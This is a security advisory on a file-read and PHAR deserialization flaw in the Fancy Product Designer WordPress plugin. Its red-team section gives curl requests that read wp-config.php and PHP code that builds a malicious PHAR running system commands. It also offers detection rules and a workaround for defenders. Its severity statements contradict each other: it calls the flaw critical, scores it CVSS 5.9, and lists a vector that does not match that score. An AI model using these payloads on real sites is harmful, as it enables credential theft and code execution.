CVE-2025-13439

Executive Summary

CVE-2025-13439 is a critical vulnerability in the Fancy Product Designer WordPress plugin (versions up to and including 6.4.8). The flaw resides in the fpd_custom_uplod_file AJAX action, where the url parameter is passed directly to PHP's getimagesize() function without proper validation or sanitization. This allows an unauthenticated attacker to perform two distinct attacks:

1. Information Disclosure: By providing a path to a sensitive file (e.g., wp-config.php), the attacker can read its contents via error messages or side-channel leaks.
2. PHAR Deserialization: If a malicious PHAR file is uploaded or accessible on the server, the attacker can trigger deserialization by pointing the url parameter to a phar:// wrapper, leading to potential Remote Code Execution (RCE).

The vulnerability has a CVSS score of 5.9 (Medium), but the potential for RCE via PHAR deserialization elevates the risk significantly. No official patch is available at this time.

WordPress Ecosystem Impact

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is installed on thousands of WooCommerce stores, making it a high-value target for attackers seeking to compromise e-commerce sites. The attack does not involve Apache or Nginx misconfigurations; it is purely a PHP application-level flaw.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): None (N) – No direct file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High (due to unauthenticated access and potential RCE via PHAR deserialization).

Deep Dive & Mechanics

The vulnerability is in the fpd_custom_uplod_file AJAX handler. The code flow is as follows:

1. The plugin registers an AJAX action for both authenticated and unauthenticated users.
2. The url parameter is retrieved from the request.
3. This parameter is passed directly to getimagesize($url).
4. getimagesize() supports various stream wrappers, including phar://, file://, and http://.
5. If the url points to a valid PHAR archive, PHP will deserialize the metadata inside the PHAR file, leading to object injection.
6. Additionally, if the file does not exist or is not an image, error messages may leak the file's contents or existence.

Key Code Snippet (Vulnerable):

$url = $_POST['url'];
$size = getimagesize($url);

Attack Vectors:

• File Read: url=file:///var/www/html/wp-config.php (or absolute path).
• PHAR Deserialization: url=phar://./uploads/malicious.phar (requires prior upload of a PHAR file).

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.4.8)

add_action('wp_ajax_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
add_action('wp_ajax_nopriv_fpd_custom_uplod_file', 'fpd_custom_uplod_file');

function fpd_custom_uplod_file() {
    $url = $_POST['url'];
    $size = getimagesize($url); // No validation
    // ... rest of function
}

Patched Code (Hypothetical)

add_action('wp_ajax_fpd_custom_uplod_file', 'fpd_custom_uplod_file');
add_action('wp_ajax_nopriv_fpd_custom_uplod_file', 'fpd_custom_uplod_file');

function fpd_custom_uplod_file() {
    $url = $_POST['url'];
    // Validate URL is a valid image URL and not a phar:// or file:// wrapper
    $allowed_domains = array('example.com');
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['host'], $allowed_domains)) {
        wp_die('Invalid URL');
    }
    // Use a safe function like wp_remote_get() instead of getimagesize()
    $response = wp_remote_get($url);
    if (is_wp_error($response)) {
        wp_die('Failed to fetch image');
    }
    $image_data = wp_remote_retrieve_body($response);
    // Process image data safely
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Fancy Product Designer <= 6.4.8.
• For PHAR deserialization: ability to upload a file (e.g., via media upload) or a writable directory.

Step 1: Information Disclosure

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  --data 'action=fpd_custom_uplod_file&url=file:///var/www/html/wp-config.php'

If successful, the response may contain error messages revealing file contents.

Step 2: PHAR Deserialization (if upload possible)

1. Create a malicious PHAR file:

<?php
class Evil {
    public function __destruct() {
        system('id');
    }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

2. Upload exploit.phar to the server (e.g., via media upload).
3. Trigger deserialization:

curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
  --data 'action=fpd_custom_uplod_file&url=phar://./wp-content/uploads/exploit.phar'

Blue Team (Defense & Detection)

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Add a Web Application Firewall (WAF) rule to block phar:// and file:// in POST parameters.
3. Monitor for unusual AJAX requests to admin-ajax.php with action=fpd_custom_uplod_file.

Hunting Queries:

• Search logs for fpd_custom_uplod_file action.
• Look for url parameters containing phar://, file://, or absolute paths.

Indicators of Compromise (IOCs)

Network IOCs

• POST requests to /wp-admin/admin-ajax.php with action=fpd_custom_uplod_file.
• url parameter containing phar://, file://, or /etc/passwd.
• Unusual User-Agent strings (e.g., curl/7.x).

File System IOCs

• Unexpected .phar files in /wp-content/uploads/.
• Modified wp-config.php or other sensitive files.
• New PHP files in upload directories.

Log IOCs

• PHP error logs showing getimagesize(): with phar:// or file:// wrappers.
• Web server access logs with admin-ajax.php and fpd_custom_uplod_file.

Detection Engineering

YARA Rule

rule CVE_2025_13439_Phar_Deserialization {
    meta:
        description = "Detects PHAR deserialization attempts via Fancy Product Designer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13439"
    strings:
        $phar_wrapper = "phar://" ascii wide nocase
        $file_wrapper = "file://" ascii wide nocase
        $ajax_action = "fpd_custom_uplod_file" ascii wide nocase
    condition:
        $ajax_action and ($phar_wrapper or $file_wrapper)
}

Sigma Rule

title: CVE-2025-13439 Fancy Product Designer File Read/PHAR Deserialization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-13439 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=fpd_custom_uplod_file'
        cs-uri-query|contains|any:
            - 'phar://'
            - 'file://'
            - '/etc/passwd'
            - 'wp-config.php'
    condition: selection
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13439 Fancy Product Designer File Read Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=fpd_custom_uplod_file"; http_client_body; pcre:"/(phar:\/\/|file:\/\/|\/etc\/passwd|wp-config\.php)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation

1. Disable the plugin if not critical for business operations.
2. Add WAF rules to block phar:// and file:// in POST parameters.
3. Restrict file uploads to only allow safe file types (e.g., images only).
4. Monitor logs for exploitation attempts.

Long-Term Fix

• Apply the official patch once released by the vendor.
• Replace getimagesize() with a safe alternative that validates URLs and does not support stream wrappers.
• Implement input validation to only allow HTTP/HTTPS URLs from trusted domains.

Workaround Code (if patching is delayed)

Add the following to your theme's functions.php:

add_action('init', function() {
    if (isset($_POST['action']) && $_POST['action'] === 'fpd_custom_uplod_file') {
        if (isset($_POST['url']) && preg_match('/^(phar|file|php):\/\//i', $_POST['url'])) {
            wp_die('Blocked by security measure');
        }
    }
});

Valters IT
Securing Digital Frontiers